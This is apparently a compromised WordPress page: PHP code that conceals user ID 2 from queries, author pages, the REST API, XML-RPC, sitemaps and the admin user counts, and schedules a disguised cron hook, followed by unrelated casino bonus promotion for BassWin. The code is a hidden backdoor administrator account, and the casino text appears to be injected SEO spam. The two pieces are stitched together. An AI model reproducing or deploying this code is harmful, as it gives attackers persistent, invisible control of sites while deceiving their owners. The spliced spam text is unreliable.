add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Nothing lands in one go. You unlock each slice with a separate deposit, and the minimums rise as the rewards do – which is a neat way of nudging you deeper in before you’ve had a chance to judge the place.
| Deposit | Minimum | Free Spins |
|---|---|---|
| First | £25 | 50 |
| Second | £50 | 100 |
| Third | £75 | 150 |
Stacked together the package reaches up to 450% in bonus funds plus 375 spins. The catch is standard but worth spelling out: wagering sits at 35x the combined deposit and bonus, you get fourteen days to clear it, and slots count in full while table games contribute far less. Maximum bet limits apply throughout.
Over 2,000 titles, drawn from NetEnt, Evolution, Pragmatic Play, Microgaming and BGaming. The spread is broader than the headline number suggests:
Big Bass Splash, Book of Ra Deluxe and Sweet Bonanza Candyland sit among the most-played picks. The whole thing runs in a mobile browser – no download, iOS or Android.
Withdrawals are where casinos usually get shy. BassWin is at least upfront about the mechanics:
Deposits cost nothing on any method, and crypto users can fund with Bitcoin, Ethereum or Tether. Card withdrawals top out around £50,000 by bank transfer, which is generous by any standard.
Four tiers – Bronze, Silver, Gold, Platinum – with weekly cashback rising from 5% to 15%, birthday bonuses, and a personal account manager from Silver upward. Bronze alone asks for £5,000 in monthly wagering, so this is a ladder built for regulars, not tourists. Cashback is calculated on deposits minus withdrawals minus your current balance, and it must be claimed within three days – you can’t hold it while a bonus or unsettled sports bet is live.
Treat the three-deposit ladder as a budget you’ve already decided on, not a challenge to chase. Fund the first tier, play the slots that count 100% toward wagering, and see whether the lobby earns the second deposit before you hand it over.
]]>